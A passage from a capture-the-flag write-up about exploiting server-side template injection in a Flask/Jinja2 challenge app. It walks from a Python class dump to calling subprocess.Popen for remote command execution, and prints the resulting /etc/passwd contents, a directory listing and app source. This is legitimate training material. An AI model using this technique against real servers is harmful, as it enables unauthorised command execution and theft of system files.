'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class '_ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.datastructures.mixins.ImmutableListMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableDictMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.structures._omd_bucket'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.datastructures.auth.Authorization'>, <class 'werkzeug.datastructures.auth.WWWAuthenticate'>, <class 'werkzeug.datastructures.file_storage.FileStorage'>, <class 'werkzeug.datastructures.headers.Headers'>, <class 'werkzeug.datastructures.range.IfRange'>, <class 'werkzeug.datastructures.range.Range'>, <class 'werkzeug.datastructures.range.ContentRange'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'werkzeug.test.Cookie'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'flask.json.provider.JSONProvider'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.routing.converters.BaseConverter'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'ast.NodeVisitor'>, <class 'werkzeug.routing.rules.RulePart'>, <class 'werkzeug.routing.rules.RuleFactory'>, <class 'werkzeug.routing.rules.RuleTemplate'>, <class 'werkzeug.routing.matcher.State'>, <class 'werkzeug.routing.matcher.StateMachineMatcher'>, <class 'werkzeug.routing.map.Map'>, <class 'werkzeug.routing.map.MapAdapter'>, <class '_csv.Dialect'>, <class '_csv.reader'>, <class '_csv.writer'>, <class 'csv.Dialect'>, <class 'csv.DictReader'>, <class 'csv.DictWriter'>, <class 'csv.Sniffer'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'configparser.Interpolation'>, <class 'importlib.metadata.FileHash'>, <class 'importlib.metadata.Distribution'>, <class 'importlib.metadata.DistributionFinder.Context'>, <class 'importlib.metadata.FastPath'>, <class 'importlib.metadata.Prepared'>, <class 'blinker._utilities.Symbol'>, <class 'blinker.base.Signal'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.config.ConfigAttribute'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils._MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'flask.sansio.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.sansio.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>]
And I see some interesting class names in there, subprocess for example would give us RCE. So let’s try calling one of them, how about mappingproxy? We can use a payload like ``. The 40 is the index in the array of the mappingproxy class, so all we’re doing is basically returning the string definition of the class handler:
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5
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7
8
9
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.8.10
Date: Wed, 18 Mar 2026 16:45:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4320
Connection: close
(...)
<div class="nameplate"><class 'mappingproxy'></div>
Now how about the subprocess class itself (``)?
1
<div class="nameplate"><class 'subprocess.Popen'></div>
Aww yeah now we’re getting somewhere! So with a bit of tweaking of our payload, we can get command injection using this class:
1
It took some fiddling and many The server encountered an internal error and was unable to complete your request errors before I got this payload down.
Essentially we’re telling the web server to call the subprocess class and open a shell for us with the given command. The communicate() function triggers this instantly and returns the output of the command back to us in the web page. In this case, the cat /etc/passwd command will read the Linux operating system’s passwd file and hopefully get back to us a list of users.
And it does:
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2
<div class="base">
<div class="nameplate">b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\nuuidd:x:106:111::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:107:112::/nonexistent:/usr/sbin/nologin\nsnowglobe:x:1000:1000:snowglobe,,,:/home/snowglobe:/bin/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin'</div>
Tweaking the RCE
So we have limited RCE capability. Let’s start hunting for that flag and see if we can get it without faffing around with reverse shells.
First of all, what files do we have in our home directory:
1
A whole bunch, no ssh directory with authorized_keys though:
1
<div class="nameplate">b'total 56\ndrwxr-xr-x 5 snowglobe snowglobe 4096 Feb 10 11:35 .\ndrwxr-xr-x 3 root root 4096 Feb 9 15:57 ..\n-rw-rw-r-- 1 snowglobe snowglobe 8480 Feb 10 11:35 app.py\n-rw------- 1 snowglobe snowglobe 2118 Feb 10 11:36 .bash_history\n-rw-r--r-- 1 snowglobe snowglobe 220 Feb 9 15:57 .bash_logout\n-rw-r--r-- 1 snowglobe snowglobe 3771 Feb 9 15:57 .bashrc\ndrwx------ 3 snowglobe snowglobe 4096 Feb 9 16:05 .cache\ndrwx------ 3 snowglobe snowglobe 4096 Feb 9 16:56 .config\ndrwx------ 5 snowglobe snowglobe 4096 Feb 9 16:45 .local\n-rw-r--r-- 1 snowglobe snowglobe 807 Feb 9 15:57 .profile\n-rw------- 1 snowglobe snowglobe 5 Feb 9 16:01 .python_history\n-rw-rw-r-- 1 snowglobe snowglobe 29 Feb 8 15:21 requirements.txt\n-rw-r--r-- 1 snowglobe snowglobe 0 Feb 9 16:02 .sudo_as_admin_successful'</div>
However, who would say no to looking at the source code:
1
which, hey presto, contains our flag!
1
<div class="nameplate">b'from flask import Flask, request, render_template_string, render_template\nimport os, time\t\napp = Flask(__name__)\n# Flag for the CTF challenge\nFLAG = os.environ.get(\'FLAG\', "There\'s too much snow to see")\n# Home page with input form\nHOME_TEMPLATE = \'\'\'\n\t<!DOCTYPE html>\n\t<html>\n\t<head>\n\t
Conclusion
Overall, this was a fun but simple challenge. It took me the best part of 4 hours to finish it and I didn’t feel like I needed to cheat and lookup others solutions. I learnt a lot about Jinja web servers and SSTI from this from the research I did during it, which I’m sure will come in handy one day!
Happy hacking nerds ♥
This post is licensed under
CC BY 4.0
by the author.